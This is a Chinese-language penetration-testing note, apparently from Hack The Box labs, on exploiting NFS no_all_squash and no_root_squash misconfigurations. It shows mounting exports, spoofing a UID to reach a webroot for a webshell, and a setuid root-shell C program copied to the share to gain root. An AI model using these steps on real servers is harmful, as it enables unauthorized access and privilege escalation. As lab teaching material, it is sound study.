:::info 网络文件系统 NFS 允许用户通过托管在 Unix/Linux 系统上的网络访问共享文件或目录, NFS 使用 TCP/UDP 端口 2049,可以通过发出命令远程列出任何可访问的挂载
:::
no_all_squash
:::info 这个配置是当我们连接 NFS 服务时,我们当前用户的 uid 会对应目标系统的 uid
:::
我们使用这个靶场作为解释:
当有 NFS 服务时,我们应该先列出存在那些共享并挂载到本地:
└──╼ $showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
# 使用命令挂载
sudo mount -t nfs 10.10.11.191:/home/ross /mnt/ross -o nolock
sudo mount -t nfs 10.10.11.191:/var/www/html /mnt/html -o nolock
接下来我们应该对这些文件夹进行枚举查看其中存在什么内容:
─[✗]─[root@parrot]─[/mnt/ross]
└──╼ #tree -a .
.
├── .bash_history -> /dev/null
├── .cache [error opening dir]
├── .config [error opening dir]
├── Desktop
├── Documents
│ └── Passwords.kdbx
├── Downloads
├── .gnupg [error opening dir]
├── .local [error opening dir]
├── Music
├── Pictures
├── Public
├── Templates
├── Videos
├── .viminfo -> /dev/null
├── .Xauthority
├── .xsession-errors
└── .xsession-errors.old
# /var/www/html 没有权限
# 但是我们可以使用 nmap 进行扫描
sudo nmap --script=nfs-ls 10.10.11.191
111/tcp open rpcbind
| nfs-ls: Volume /home/ross
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 1001 1001 4096 2022-12-14T10:17:42 . # UID 为 1001 的用户可以读取
| ?????????? ? ? ? ? ..
| rwx------ 1001 1001 4096 2022-10-21T14:57:01 .cache
| rwx------ 1001 1001 4096 2022-10-21T14:57:01 .config
| rwx------ 1001 1001 4096 2022-10-21T14:57:01 .local
| rw------- 1001 1001 2475 2022-10-31T10:13:23 .xsession-errors.old
| rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Documents
| rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Music
| rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Pictures
| rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Public
|
|
| Volume /var/www/html
| access: Read NoLookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-- 2017 33 4096 2022-12-14T10:40:01 . # UID 为 2017 的用户可以读取
| ?????????? ? ? ? ? ..
| ?????????? ? ? ? ? .htaccess
| ?????????? ? ? ? ? css
| ?????????? ? ? ? ? images
| ?????????? ? ? ? ? index.html
| ?????????? ? ? ? ? js
|_
在本环节中是存在一个 html 文件夹,该文件夹一定是网页文件,所以我们应当在这里写一个 WEBSHELL,同时通过枚举我们可以知道该文件夹是只有 2017 用户才可以访问,所以我们应该创建一个 UID=2017 的用户访问,具体原因看后面资料会讲解,现在我们在本地创建一个相应的用户并且我们使用该用户去访问 html 文件:
# 首先创建一个用户
┌─[root@parrot]─[/mnt/ross]
└──╼ #useradd tom
# 将 tom uid 设置为 2017
┌─[root@parrot]─[/mnt/ross]
└──╼ #usermod -u 2017 tom
┌─[jtz@parrot]─[~/Desktop/Temp]
└──╼ $cat /etc/passwd | grep tom
tom:x:2017:1006::/home/tom:/bin/sh
┌─[root@parrot]─[/mnt/ross]
└──╼ #su tom
$ pwd
/mnt/ross
$ bash
┌─[tom@parrot]─[/mnt]
└──╼ $cd html
┌─[tom@parrot]─[/mnt/html]
└──╼ $ls
css images index.html js
现在我们就可以访问 html 文件夹并写入 WEBSHELL 了
no_root_squash
:::info 这个方法还没有遇到过,总体来说这个方法是因为 NFS 配置失误,当我们使用 root 身份连接时,相应的我们对这个目录的权限也是 root
- 这个方法可以用于提权
:::
# showmount -e列出了 NFS 客户端的 NFS 服务器的导出列表(或文件系统的访问控制列表)
showmount -e 10.129.2.12
Export list for 10.129.2.12:
/tmp *
/var/nfs/general *
利用思路为:我们在本地创建一个恶意二进制文件赋予其执行权限,上传到目标后执行即可
# 创建一个简单的二进制文件,在本地挂载目录,复制它,并设置必要的权限
# shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
在本地编译后上传:
htb@NIX02:/tmp$ gcc shell.c -o shell
root@Pwnbox:~$ sudo mount -t nfs 10.129.2.210:/tmp /mnt
root@Pwnbox:~$ cp shell /mnt
root@Pwnbox:~$ chmod u+s /mnt/shell
在目标端执行:
htb@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id
uid=0(root) gid=0(root)